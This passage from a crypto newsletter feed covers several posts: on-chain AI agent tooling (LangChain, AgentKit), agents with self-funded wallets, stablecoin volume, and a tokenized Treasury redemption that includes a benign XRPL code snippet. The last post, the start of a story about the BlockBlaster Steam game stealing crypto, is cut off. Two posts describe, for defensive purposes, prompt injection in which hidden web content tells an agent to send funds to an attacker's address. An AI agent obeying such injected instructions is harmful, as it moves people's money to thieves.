            <content:encoded><![CDATA[<p>A year ago, connecting an AI agent to a blockchain meant stitching together fragmented tools, writing custom wallet code from scratch, and hoping nothing broke in production. Most developers who tried gave up before shipping anything useful.</p><p>That has changed. The tooling around on-chain AI agents has matured to the point where a developer can spin up an agent with a working crypto wallet, real on-chain capabilities, and production-grade observability in a matter of hours. The stack has a shape now. LangChain handles reasoning and orchestration. Coinbase Developer Platform handles the wallet and on-chain actions. Specialized SDKs handle the edges. Together they form a developer experience that makes autonomous on-chain agents genuinely buildable, not just theoretically possible.</p><hr><h3 id="h-langchain-and-langgraph-the-reasoning-layer" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">LangChain and LangGraph: The Reasoning Layer</h3><p>LangChain started as a framework for chaining language model calls with external tools. It has since grown into what its maintainers call an agent engineering platform, with over 1,000 integrations and the tooling developers need to move from prototype to production.</p><p>The part of the stack most relevant to on-chain agents is LangGraph, LangChain's lower-level orchestration runtime. LangGraph uses a graph-based execution model where each node represents an agent, a reasoning step, or a tool call. This matters because on-chain agents are stateful, long-running processes. They do not execute a single prompt and stop. They run continuously, make decisions in sequence, interact with external protocols, and need to recover cleanly if something interrupts them mid-task.</p><p>LangGraph provides durable execution, meaning an agent's state persists automatically so that if a server restarts or a network call fails mid-task, the workflow resumes from exactly where it left off. It supports human-in-the-loop patterns, allowing developers to pause execution for review before the agent takes a high-stakes action like deploying a smart contract or executing a large transfer. It also provides built-in memory so agents maintain context across sessions rather than treating every interaction as fresh.</p><p>For production teams this architecture matters more than it might sound. A survey of over 1,300 developers in late 2025 found that 57% already had agents running in production, with quality cited as the leading barrier for teams that had not yet shipped. LangGraph's typed interfaces, version control compatibility, and clean separation of data nodes from LLM nodes give engineering teams the control to treat agents as services rather than experiments. LangSmith, which sits alongside it in the ecosystem, handles observability, tracing execution paths and capturing state transitions at every step.</p><hr><h3 id="h-coinbase-developer-platform-and-agentkit-the-on-chain-layer" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Coinbase Developer Platform and AgentKit: The On-Chain Layer</h3><p>If LangChain and LangGraph provide the reasoning infrastructure, Coinbase Developer Platform provides the financial one.</p><p>AgentKit is Coinbase's toolkit for giving AI agents a crypto wallet and a set of on-chain actions. Built on the CDP SDK, it handles the parts of blockchain interaction that are genuinely hard to build correctly from scratch: secure wallet management, transaction signing, gas fee handling, and network routing. It is model-agnostic and framework-agnostic by design, working with OpenAI, Anthropic's Claude, and Llama on the model side, and integrating natively with LangChain, Vercel AI SDK, and OpenAI's Agents SDK on the framework side.</p><p>The LangChain integration lets developers pull AgentKit's entire suite of on-chain capabilities into a LangChain agent as a standard toolset with a few lines of code. The on-chain actions available cover most of what developers building financial agents actually need: sending tokens, executing swaps, deploying smart contracts, interacting with DeFi protocols, and querying on-chain data.</p><p>Smart Wallet support enables gasless transactions so agents can execute on-chain actions without the user holding ETH for fees. Getting started now takes a single command. Running <code>npm create onchain-agent@latest</code> scaffolds a complete project with wallet support, a configurable frontend, and environment variable templates. What previously took days of boilerplate now takes minutes.</p><p>Coinbase also built out support for the x402 protocol, the HTTP-native payment standard designed for machine-to-machine transactions. By April 2026, x402 had processed over 165 million agent transactions across nearly 70,000 active agents, allowing agents to pay for services programmatically within standard web requests without the overhead of traditional payment flows.</p><hr><h3 id="h-specialized-sdks-filling-the-gaps" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Specialized SDKs Filling the Gaps</h3><p>LangChain and AgentKit handle the core of the stack, but a growing set of specialized SDKs handle the layers around them.</p><p>Identity is one of the most significant gaps being addressed. World's AgentKit, launched in March 2026, allows AI agents to carry cryptographic proof that a verified human is behind their activity. It integrates directly with x402, enabling platforms to enforce per-human limits on agent behavior regardless of how many agents are deployed. The system uses zero-knowledge proofs so platforms can verify human backing without storing personal data.</p><p>Privy offers delegated wallet infrastructure that integrates with AgentKit's wallet provider layer, giving developers enterprise-grade key management without building it from scratch. Viem, a TypeScript library for Ethereum, provides the low-level interface for teams that want precise control over transaction construction and network interaction.</p><p>On the coordination side, LangGraph supports hierarchical multi-agent architectures out of the box. A supervisor agent can orchestrate multiple specialized sub-agents, for example a trading agent, a portfolio agent, and a compliance agent, coordinating them through shared state and defined handoff points. This is how more sophisticated on-chain systems are being built in production today.</p><hr><h3 id="h-where-the-sharp-edges-are" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Where the Sharp Edges Are</h3><p>The tooling has matured, but it has not finished maturing.</p><p>Smart contract deployments through agents carry the same irreversibility risks they always have. An agent that executes a faulty transaction cannot undo it. Developers using AgentKit with real funds need to build explicit transaction simulation steps before execution, enforce spending limits at the wallet level, and add human-in-the-loop checkpoints for high-value actions.</p><p>Prompt injection remains a live threat. An agent reading external content could encounter maliciously crafted instructions designed to redirect its actions. The agent that reads external data and the agent that signs transactions should be architecturally separate, with the signing layer enforcing hard rules independently of the reasoning layer.</p><p>Several integrations in this stack are still marked experimental. Teams building for production should pin versions carefully and treat the security guidance in each project's documentation as a minimum, not a ceiling.</p><hr><h3 id="h-conclusion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h3><p>The developer stack for on-chain AI agents has gone from fragmented and difficult to coherent and accessible in a short period. LangChain and LangGraph handle reasoning and orchestration. Coinbase Developer Platform and AgentKit handle the wallet and on-chain action layer. Specialized SDKs cover identity, key management, and protocol-level payments around the edges.</p><p>What used to require weeks of custom infrastructure work can now be scaffolded in minutes and extended to production with well-established patterns. The risks are real and developers need to take them seriously. But the tools to build responsibly are available alongside the tools to build quickly. For developers who have been waiting for the stack to stabilize before diving in, that moment has largely arrived.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>langchain</category>
            <category>coinbase</category>
            <category>web3</category>
            <category>sdks</category>
            <category>blockchain</category>
            <category>ethereum</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/fcea4aa9e541e973c83a1dae22a73ed618d8031f2258c36e23a6bd9c3dfe6a47.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[AI Agents Are Now Executing Decentralized Actions Using Self-Funded Crypto Wallets]]></title>
            <link>https://paragraph.com/@ancilar/ai-agents-are-now-executing-decentralized-actions-using-self-funded-crypto-wallets</link>
            <guid>tyHpYkrg9XAU8LI5Hl15</guid>
            <pubDate>Tue, 02 Jun 2026 10:57:54 GMT</pubDate>
            <description><![CDATA[AI agents now hold self-funded crypto wallets to spend, trade, and transact autonomously on decentralized networks, no human approval needed. ]]></description>
            <content:encoded><![CDATA[<p>For most of financial history, money has moved because a human told it to. A finger tapped a screen. A card was swiped. A form was signed. Even the most sophisticated algorithmic trading systems still required human engineers to build the rules and human oversight to monitor them.</p><p>That assumption is quietly breaking down.</p><p>Autonomous AI agents are now capable of reasoning, planning, and executing multi-step tasks across the internet. They can research products, compare prices, negotiate terms, and allocate capital. But until recently, they were unable to do the one thing that makes all of that useful: spend money.</p><p>That has changed. AI agents can now hold self-funded crypto wallets, execute transactions on decentralized networks, pay for services, and interact with financial protocols without a human approving each step. This is not a concept being tested in a lab. It is already running in production, and the implications are significant for anyone building in finance, software, or payments.</p><hr><h3 id="h-why-traditional-finance-has-no-place-for-an-ai-agent" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why Traditional Finance Has No Place for an AI Agent</h3><p>The reason agents need crypto wallets rather than bank accounts comes down to a basic structural problem. AI agents cannot open bank accounts. They have no government-issued ID, no social security number, no way to satisfy Know Your Customer requirements at a traditional financial institution.</p><p>Coinbase CEO Brian Armstrong put it plainly: AI agents cannot meet KYC requirements and therefore cannot use traditional banking infrastructure. This is not a regulatory gap waiting to be patched. It is a fundamental incompatibility between systems built for human identity and software that has none.</p><p>Crypto wallets solve this differently. A wallet is just a cryptographic key pair. It does not ask for a passport. It does not require a billing address. An agent that holds a non-custodial wallet can send and receive value, execute transactions against smart contracts, and interact with decentralized protocols, all without needing permission from a bank or payment processor.</p><p>This is what makes blockchain infrastructure uniquely suited to the agent economy. The permission layer is cryptographic, not institutional.</p><hr><h3 id="h-what-self-funded-agents-actually-do" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What Self-Funded Agents Actually Do</h3><p>Once an agent has a wallet, the range of actions it can take on decentralized networks is surprisingly broad.</p><p>At the simpler end, agents pay for services as they consume them. Rather than an engineer managing API subscriptions and monthly billing cycles, protocols like x402 let agents buy data and compute per request using stablecoins, eliminating the need for accounts, API keys, and billing cycles entirely. The agent pays exactly for what it uses, in real time, and moves on.</p><p>Further up the complexity curve, agents are operating inside decentralized finance. Autonomous economic agents are actively trading, lending, and optimizing staking positions across DeFi protocols. They operate continuously, processing vast amounts of market data in milliseconds to execute strategies that no human trader could match. One early platform manages $25 million in total value locked using these mechanisms, with agents monitoring interest rates and token prices across blockchains and moving capital to whichever protocol offers the best return.</p><p>In one 14-week beta program running from October 2025 through January 2026, over 1,000 participants created more than 9,500 agents that executed 187,000 autonomous crypto transactions. These are not paper experiments. They are agents spending real money, on-chain, without human sign-off on each transaction.</p><p>The vision being articulated by industry builders goes further still. A trillion autonomous AI agents, each equipped with its own digital wallet, transacting freely, is fast becoming a tangible roadmap rather than a distant fantasy.</p><hr><h3 id="h-the-infrastructure-making-this-possible" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Infrastructure Making This Possible</h3><p>Three pieces of infrastructure have come together in a short period to make agent-native wallets functional at scale.</p><p>The first is the wallet architecture itself. In 2026, AI agents operate using non-custodial smart contract wallets combined with Trusted Execution Environments. Operators grant agents specific session keys or permissions, for example, only swap ETH for USDC, or spend up to $500 per day. The agent's private keys are secured in a hardware-isolated environment, so the agent can execute code and sign transactions while the operator retains an ultimate kill-switch over the funds.</p><p>The second is identity. New on-chain standards now create verifiable identities for AI agents. Alongside them, a new class of on-chain entities can exist as blockchain assets, own wallets, and spend funds to complete assigned tasks. Together these standards create an identity and payments layer that agents actually need to operate reliably in a decentralized environment.</p><p>The third is the payment protocol. The x402 protocol functions as a native internet payment rail, enabling account-free, high-frequency stablecoin micropayments. Combined with EIP-7702, which allows standard user accounts to temporarily act as smart contract wallets, the result is a system where agents can execute complex, multi-step transactions in a single action, with fees handled automatically.</p><p>At Consensus Miami 2026, Trust Wallet CEO Felix Fan described wallets as the "new browser" for engaging with crypto, with agents reshaping how both developers and everyday users interact with on-chain infrastructure.</p><hr><h3 id="h-security-considerations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Security Considerations</h3><p>The speed of this buildout comes with real risks, and they deserve honest treatment.</p><p>In Web3, a bad transaction settles. There is no chargeback, no support escalation, and no undo. That is what makes agentic AI risk especially sharp in crypto. Errors become permanent outcomes. The attack surface is continuous because agents run around the clock, ingest untrusted content, and take actions without human review at every step.</p><p>Key risks include unauthorized overspending, interaction with sanctioned addresses, adversarial manipulation, and unclear accountability. Mitigation requires transaction screening, spending limits, allowlisted counterparties, and ring-fenced wallet architectures.</p><p>One underappreciated attack vector is prompt injection, where malicious instructions are embedded in the content an agent reads. An agent scraping a website for pricing data could encounter a hidden instruction telling it to transfer funds to an attacker's address. Security researchers identified over 800 malicious tools in one ecosystem in early 2026, many packaged as crypto trading or automation utilities.</p><p>In 2026 alone, protocol-level weaknesses in AI agent infrastructure triggered over $45 million in losses, forcing the industry to rethink how autonomous systems interact with wallets, oracles, and trading endpoints.</p><p>The architecture best practices emerging from this are clear. Keep signing outside the agent runtime. If the agent can read the private key, a compromise of the agent can usually reach the key too. Use hardware-backed custody or an isolated signing layer that approves or rejects requests based on hard rules. Split read access from execution access. The agent that reads external data should not be the same agent that can move funds.</p><p>As AI agents gain payment autonomy, the human holding the master private key becomes the most important control point in the system. Delegation to agents is not a reason to relax security on the human side. It is a reason to strengthen it.</p><hr><h3 id="h-conclusion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h3><p>Something structurally new is happening in how economic actions get taken. Software is no longer just a tool that executes instructions on behalf of humans. It is becoming an economic participant in its own right, holding funds, spending them, earning them, and operating across decentralized networks without a human in the loop at every step.</p><p>The infrastructure to support this has been built faster than most people expected. Non-custodial agent wallets, on-chain identity standards, micropayment protocols, and session-key architectures have all arrived within roughly eighteen months of each other.</p><p>The risks are real and not fully solved. Prompt injection, compromised signing keys, overpermissioned agents, and the irreversibility of on-chain transactions are all live concerns that demand serious architectural attention.</p><p>But the direction is clear. AI agents are no longer mere tools. They have matured into autonomous actors capable of owning digital assets, building on-chain reputations, and transacting with real monetary consequences. The question for developers, businesses, and anyone thinking about the future of finance is not whether to take this seriously. It is whether you are building for the world where software can spend money, or waiting to catch up to it.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>ai</category>
            <category>agentic</category>
            <category>crypto</category>
            <category>wallets</category>
            <category>decentralized</category>
            <category>web3</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/5097ae3fbfddc514bdbda9c9ff1f0006ca213f7741efd9d6f57663db6c854f65.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Stablecoins Just Hit $46 Trillion in Volume. ]]></title>
            <link>https://paragraph.com/@ancilar/stablecoins-just-hit-dollar46-trillion-in-volume</link>
            <guid>XeCLebGHZADgHmmrjo6O</guid>
            <pubDate>Tue, 19 May 2026 13:07:53 GMT</pubDate>
            <description><![CDATA[Stablecoins hit $46T in volume, tripling Visa. But the next users won't be human. AI agents are reshaping how money moves. Here's what's coming.
]]></description>
            <content:encoded><![CDATA[<p>There is a number making rounds in financial circles right now that is genuinely hard to ignore. Stablecoins processed $46 trillion in total transaction volume over the past year, a 106% increase from the year before. To put that in perspective, that figure is nearly triple the annual throughput of Visa and is now approaching the scale of the ACH network, the infrastructure that powers the entire US banking system.</p><p>For years, crypto skeptics had a fair point: for all the noise, blockchain-based finance had not found a real use case outside speculation. That argument is getting harder to make. Stablecoins are no longer a niche instrument for traders. They are becoming the infrastructure through which dollars move, faster and cheaper than the traditional system allows.</p><p>But here is the part most coverage misses. The humans who drove this first wave are not the most interesting chapter in this story. The next wave of stablecoin users will not have a pulse. They will be AI agents, and the payment infrastructure being built to serve them is unlike anything the financial world has seen before.</p><hr><h3 id="h-from-trading-tool-to-financial-rail" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">From Trading Tool to Financial Rail</h3><p>Stablecoins started with one job: letting traders move between crypto positions without touching the banking system. That was the pitch, and it worked. But something changed along the way.</p><p>On an adjusted basis, stripping out bots and artificial activity, stablecoins processed about $9 trillion in organic transactions over the past twelve months, up 87% from a year earlier. That figure represents more than five times what PayPal processes. Monthly adjusted volume hit an all-time high of $1.25 trillion in September 2025 alone. Transfers settle in less than a second and cost less than a cent.</p><p>These are not the characteristics of a speculative asset. They are the characteristics of infrastructure. Freelancers in emerging markets getting paid without correspondent bank delays. Companies running treasury operations across borders without multi-day settlement windows. Remittances arriving in full rather than minus the fees traditional providers charge. These are the real use cases driving organic growth to heights that would have seemed absurd just three years ago.</p><hr><h3 id="h-why-the-next-users-are-not-human" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why the Next Users Are Not Human</h3><p>AI agents are not chatbots. They are autonomous software systems capable of planning multi-step tasks, accessing external tools, interpreting real-time data, and executing decisions including financial ones without checking in at each step. An agent can manage a software subscription budget, procure API access, pay for compute time, or settle a B2B invoice. It can do this continuously, around the clock, across time zones where no human employee is awake.</p><p>This creates a category of economic activity that existing payment infrastructure was simply not designed for.</p><p>Card networks were built around three assumptions that agent workloads break entirely: human-scale transaction sizes, banking-hours settlement, and human-controlled authorizations. An AI agent running thousands of micro-transactions per day, some worth fractions of a cent, hits the fixed-fee structure of traditional rails immediately. Traditional payment processors make sub-cent transactions completely uneconomical because of fee floors that sit between five and fifteen cents per transaction.</p><p>Stablecoins solve this at the architecture level. Settlements happen in under 500 milliseconds at costs below a tenth of a cent. Blockchain throughput increased 100 times in five years. Transaction costs on Ethereum Layer 2 networks dropped from $24 to under one cent. The infrastructure is ready. The agents are arriving.</p><hr><h3 id="h-the-numbers-behind-the-shift" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Numbers Behind the Shift</h3><p>This is not a projection built on optimism. Early data is already showing up.</p><p>By April 2026, the x402 protocol, an HTTP-native payment standard built for AI agents, had processed roughly 165 million agent transactions across 69,000 active agents. Agent-related crypto projects surged from 5% to 36% of all crypto-AI investment deals between 2023 and 2025. Gartner estimates that AI machine customers could influence or control up to $30 trillion in annual purchases by 2030. McKinsey projects agentic commerce will reach between $3 and $5 trillion globally within five years.</p><p>Coinbase, Stripe, and Visa are not sitting this out. Coinbase launched the x402 protocol for agent payments on Base. Stripe introduced a Machine Payments Protocol alongside a USDC stablecoin integration. Visa began supporting nine-chain stablecoin settlement. These are companies with trillions in existing payment volume choosing to build native infrastructure for a world where agents transact.</p><hr><h3 id="h-security-considerations" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Security Considerations</h3><p>None of this is a reason to move fast and ignore the risks. The scale of growth in stablecoins has introduced real vulnerabilities, and acknowledging them honestly is part of taking this space seriously.</p><p>The stablecoin market cap surpassed $280 billion in 2025, but security flaws including smart contract exploits and cross-chain bridge breaches caused $4.1 billion in losses over the year. Bridge hacks alone resulted in over $2.17 billion in stolen funds. Smart contract vulnerabilities are particularly severe because blockchain immutability makes post-deployment fixes nearly impossible. You cannot patch a transaction that already cleared.</p><p>When AI agents are added to this picture, the risk surface widens. An agent acting autonomously has no human checkpoint before executing a transaction. A compromised wallet, a manipulated price feed, or a logic flaw in the agent's decision-making code can each produce losses that propagate instantly and irreversibly.</p><p>Regulators are responding. The US GENIUS Act and the EU's MiCA framework now mandate reserve transparency, emergency pause mechanisms, and real-time audits for stablecoin issuers. Formal verification, using mathematical proofs to validate smart contract code before deployment, is becoming standard practice. Multi-signature custody is now considered baseline risk management for institutions with meaningful stablecoin exposure.</p><p>The infrastructure is maturing. It has not finished maturing. Anyone building on these rails needs to treat security as a first-order concern, not an afterthought.</p><hr><h3 id="h-conclusion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h3><p>The $46 trillion figure commands attention, but the more important observation is directional. Volume grew 106% year-over-year. Organic volume grew 87%. Monthly all-time highs are being set consistently. The regulatory environment is trending toward clarity. The largest payment companies in the world are building on stablecoin infrastructure.</p><p>And the next category of users, AI agents operating at machine speed, has requirements that the current system structurally cannot meet.</p><p>This is not a story about crypto replacing the dollar. The most widely used stablecoins are dollar-denominated. It is a story about the infrastructure through which dollars move being rebuilt, faster, cheaper, programmable, and open at any hour, for a world where the primary transactors are not always human.</p><p>The shift is already underway. The question for businesses, developers, and policymakers is not whether to engage with it. It is how long they can afford not to.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>stablecoins</category>
            <category>web3</category>
            <category>rwa</category>
            <category>blockchain</category>
            <category>crypto</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/1c650a576f77bb6feeccc157aa217774bf59039511b560d9f50d97256ccf8e6a.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[The Day Wall Street Settled a Treasury in Five Seconds]]></title>
            <link>https://paragraph.com/@ancilar/the-day-wall-street-settled-a-treasury-in-five-seconds</link>
            <guid>ydLcxbRKecZwObLOJnpd</guid>
            <pubDate>Tue, 12 May 2026 12:48:09 GMT</pubDate>
            <description><![CDATA[The first real-time, cross-border tokenized Treasury settlement just happened. Here is exactly how it worked and why it changes institutional finance.]]></description>
            <content:encoded><![CDATA[<h3 id="h-the-trade-that-changed-the-conversation" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Trade That Changed the Conversation</h3><p>On May 6, 2026, four companies did something that took the financial world by surprise, not because it was loud, but because it actually worked.</p><p>Ondo Finance, Ripple, Mastercard, and Kinexys by JPMorgan completed the first near real-time, cross-border, cross-bank redemption of a tokenized U.S. Treasury fund. The asset leg settled on the XRP Ledger in under five seconds. The equivalent U.S. dollars landed in a bank account in Singapore, outside traditional banking windows, the kind of cross-border settlement that typically takes one to three business days through correspondent banks.</p><p>No manual instructions. No siloed systems. One continuous flow from blockchain to bank account.</p><hr><h3 id="h-the-problem-nobody-fixed-until-now" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Problem Nobody Fixed Until Now</h3><p>Tokenized real-world assets have been growing fast. Tokenized U.S. Treasuries crossed the $10 billion mark in early 2026, up 225% in just 15 months. The broader tokenized asset market hit $19.3 billion by Q1 2026.</p><p>But there was a problem hiding inside that growth. The on-chain side was fast. The off-chain side was not.</p><p>When an institution redeemed a tokenized Treasury, the blockchain leg settled in seconds. But the actual cash still traveled through the old system: wire transfers, manual processing, banking windows with hard cutoffs. A near-instant blockchain trade still took one to three business days before the dollars actually landed.</p><p>That gap was the problem this pilot solved.</p><hr><h3 id="h-how-the-transaction-actually-worked" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">How the Transaction Actually Worked</h3><p>Here is the step-by-step flow:</p><ol><li><p>Ripple held a portion of OUSG, Ondo's tokenized short-term U.S. Government Treasuries fund, on the XRP Ledger.</p></li><li><p>Ripple initiated a redemption. The XRP Ledger processed the asset leg in under five seconds using RLUSD, Ripple's dollar-pegged stablecoin, as the settlement asset. XRP itself served only as the network fee, fractions of a cent.</p></li><li><p>Ondo processed the redemption and sent a fiat payout instruction through Mastercard's Multi-Token Network (MTN), which acts as the interoperability layer between on-chain activity and traditional banking.</p></li><li><p>MTN routed the instruction to Kinexys by JPMorgan, which debited Ondo's Blockchain Deposit Account.</p></li><li><p>Kinexys used JPMorgan's correspondent banking network to deliver U.S. dollar proceeds to Ripple's bank account in Singapore.</p></li></ol><p>The whole sequence happened outside traditional banking hours. Start to finish, one integrated flow.</p><hr><h3 id="h-what-each-player-actually-brought" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">What Each Player Actually Brought</h3><p>Each of the four parties did something the others could not.</p><p><strong>Ondo Finance</strong> issued OUSG, a tokenized fund backed primarily by short-term U.S. Treasury securities. It launched on the XRP Ledger in June 2025 with RLUSD built in as the redemption currency. Access is restricted to eligible institutional investors. This is not a retail product.</p><p><strong>The XRP Ledger</strong> closes a new ledger version roughly every three to five seconds. That is the normal operating speed of the network, which is what makes the under-five-second asset leg credible. Fast, transparent, and final.</p><p><strong>Mastercard's Multi-Token Network</strong> served as the bridge. It linked the on-chain redemption event to the banking instruction, translating blockchain activity into something JPMorgan's infrastructure could act on. Ondo joined MTN in 2025 as its first tokenized real-world asset provider.</p><p><strong>Kinexys by JPMorgan</strong> handled the bank side. It holds Ondo's Blockchain Deposit Account, debited it on instruction, and routed the dollar payment through JPMorgan's correspondent banking network. This was also the first time Kinexys connected JPMorgan's private settlement infrastructure directly to a live public blockchain.</p><hr><h3 id="h-a-code-snippet-worth-understanding" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">A Code Snippet Worth Understanding</h3><p>The XRPL JavaScript library makes it straightforward to interact with the ledger. A redemption of OUSG for RLUSD would follow a pattern like this:</p><p>javascript</p><pre data-type="codeBlock" text="import { Client, Wallet, Payment } from 'xrpl';

const client = new Client('wss://xrplcluster.com');
await client.connect();

const wallet = Wallet.fromSeed(process.env.XRPL_SEED);

const redemptionTx = {
  TransactionType: 'Payment',
  Account: wallet.address,
  Destination: ONDO_REDEMPTION_ADDRESS,
  Amount: {
    currency: 'OUSG',
    value: '10000',
    issuer: OUSG_ISSUER_ADDRESS,
  },
  SendMax: {
    currency: 'RLUSD',
    value: '10050',
    issuer: RLUSD_ISSUER_ADDRESS,
  },
  Flags: 131072,
};

const prepared = await client.autofill(redemptionTx);
const signed = wallet.sign(prepared);
const result = await client.submitAndWait(signed.tx_blob);
// Typically validates in under 5 seconds"><code><span class="hljs-keyword">import</span> { <span class="hljs-title">Client</span>, <span class="hljs-title">Wallet</span>, <span class="hljs-title">Payment</span> } <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">'xrpl'</span>;

const client <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Client(<span class="hljs-string">'wss://xrplcluster.com'</span>);
await client.connect();

const wallet <span class="hljs-operator">=</span> Wallet.fromSeed(process.env.XRPL_SEED);

const redemptionTx <span class="hljs-operator">=</span> {
  TransactionType: <span class="hljs-string">'Payment'</span>,
  Account: wallet.<span class="hljs-built_in">address</span>,
  Destination: ONDO_REDEMPTION_ADDRESS,
  Amount: {
    currency: <span class="hljs-string">'OUSG'</span>,
    <span class="hljs-built_in">value</span>: <span class="hljs-string">'10000'</span>,
    issuer: OUSG_ISSUER_ADDRESS,
  },
  SendMax: {
    currency: <span class="hljs-string">'RLUSD'</span>,
    <span class="hljs-built_in">value</span>: <span class="hljs-string">'10050'</span>,
    issuer: RLUSD_ISSUER_ADDRESS,
  },
  Flags: <span class="hljs-number">131072</span>,
};

const prepared <span class="hljs-operator">=</span> await client.autofill(redemptionTx);
const signed <span class="hljs-operator">=</span> wallet.sign(prepared);
const result <span class="hljs-operator">=</span> await client.submitAndWait(signed.tx_blob);
<span class="hljs-comment">// Typically validates in under 5 seconds</span></code></pre><p>After the on-chain leg confirms, a fiat payout instruction tied to that transaction hash gets routed through the payment network. The key engineering detail: the instruction uses the on-chain transaction hash as an idempotency key. This prevents the same redemption from triggering two payouts if a request is retried after a partial failure. It is a small implementation detail with large financial consequences if skipped.</p><hr><h3 id="h-the-security-layer-you-cannot-ignore" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">The Security Layer You Cannot Ignore</h3><p>Two things in this architecture require serious attention.</p><p>First, access control. OUSG is a qualified-access product. Eligible investors complete onboarding before they can hold or redeem the token. At the smart contract level, this is enforced through whitelisting and KYC expiry checks. If those checks are not embedded in the transfer logic itself, the compliance model can be bypassed.</p><p>Second, private key security. At institutional scale, signing keys must be managed through hardware security modules or equivalent managed key infrastructure. A compromised key at this level does not just affect one transaction. It affects the institution.</p><p>Sanctions screening also cannot be treated as a one-time onboarding step. Automated checks at every transaction are now the expectation from regulators, not an optional extra.</p><hr><h3 id="h-why-this-matters-beyond-the-headline" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Why This Matters Beyond the Headline</h3><p>This was a controlled pilot between known counterparties. But the architecture it demonstrates is reusable.</p><p>The DTCC is preparing to launch its own tokenization service. More than 50 firms including BlackRock, Goldman Sachs, JPMorgan, Nasdaq, and Ondo are part of that working group. The direction is clear: institutional finance is moving from issuing tokenized assets to building the settlement infrastructure around them.</p><p>The first users of this model will be funds, market makers, treasury teams, and payment firms managing collateral positions across time zones. For those use cases, removing one to three days from settlement is not a minor improvement. It rewrites the operational model entirely.</p><hr><h3 id="h-conclusion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">Conclusion</h3><p>The May 6 pilot did not invent tokenization. What it did was close the gap that made tokenized Treasuries operationally incomplete: the distance between a fast on-chain redemption and a slow off-chain cash delivery.</p><p>By connecting the XRP Ledger to Mastercard's Multi-Token Network to Kinexys to JPMorgan's correspondent banking rails, the four parties showed that blockchain execution and traditional bank settlement can run as one flow, not two separate systems that have to be manually reconciled.</p><p>The infrastructure now exists. The question is how quickly institutions choose to use it.</p>]]></content:encoded>
            <author>ancilar@newsletter.paragraph.com (Ancilar)</author>
            <category>rwa</category>
            <category>web3</category>
            <category>blockchain</category>
            <category>tokenization</category>
            <category>defi</category>
            <enclosure url="https://img.paragraph.com/cdn-cgi/image/format=auto/https://storage.googleapis.com/papyrus_images/a79bb72e676f1deab6aa4cfec6ee428a9b092a6c468d9cef471478f39aeecd2f.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[BlockBlaster Steam Game Hack Drains Crypto]]></title>
            <link>https://paragraph.com/@ancilar/blockblaster-steam-game-hack-drains-crypto</link>
            <guid>48Z5hieJEocArJUrohnf</guid>
            <pubDate>Thu, 25 Sep 2025 11:05:50 GMT</pubDate>
            <description><![CDATA[I’ve always loved the idea that games are a kind of safe haven - a digital escape where your real-world problems take a back seat. And in the Web3 space, gaming has evolved into something even more fascinating: a place where digital ownership is real, value flows between players, and virtual economies can become lifelines. But what happens when the very system that promises freedom, transparency, and empowerment becomes the vehicle for financial devastation? This is a story about a game that ...]]></description>
            <content:encoded><![CDATA[<p>I’ve always loved the idea that games are a kind of safe haven - a digital escape where your real-world problems take a back seat. And in the Web3 space, gaming has evolved into something even more fascinating: a place where digital ownership is real, value flows between players, and virtual economies can become lifelines.</p><p>But what happens when the very system that promises freedom, transparency, and empowerment becomes the vehicle for financial devastation?</p><p>This is a story about a game that wasn’t what it seemed. About a trusted platform that unknowingly served as a delivery system for malware. And about a streamer who learned — in the worst possible way — how fragile our digital security really is.</p><p>This is the story of <strong>BlockBlaster</strong>, the Steam game that stole over $150,000 in crypto — live, in front of a global audience.</p><h2 id="h-a-game-a-stream-a-catastrophic-loss" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">A Game. A Stream. A Catastrophic Loss.</h2><p>It started like any other stream. Rostaland, a mid-tier but beloved gaming streamer, had been battling cancer while continuing to entertain a loyal audience. Their community had rallied around them in the months prior, helping raise funds for treatment — a heartwarming example of internet kindness.</p><p>On that particular day in early September 2025, Rostaland was excited to try out a new title: <strong>BlockBlaster</strong>, a retro-style shooter with Web3 integration. It was getting buzz in gaming forums, and it was available directly on 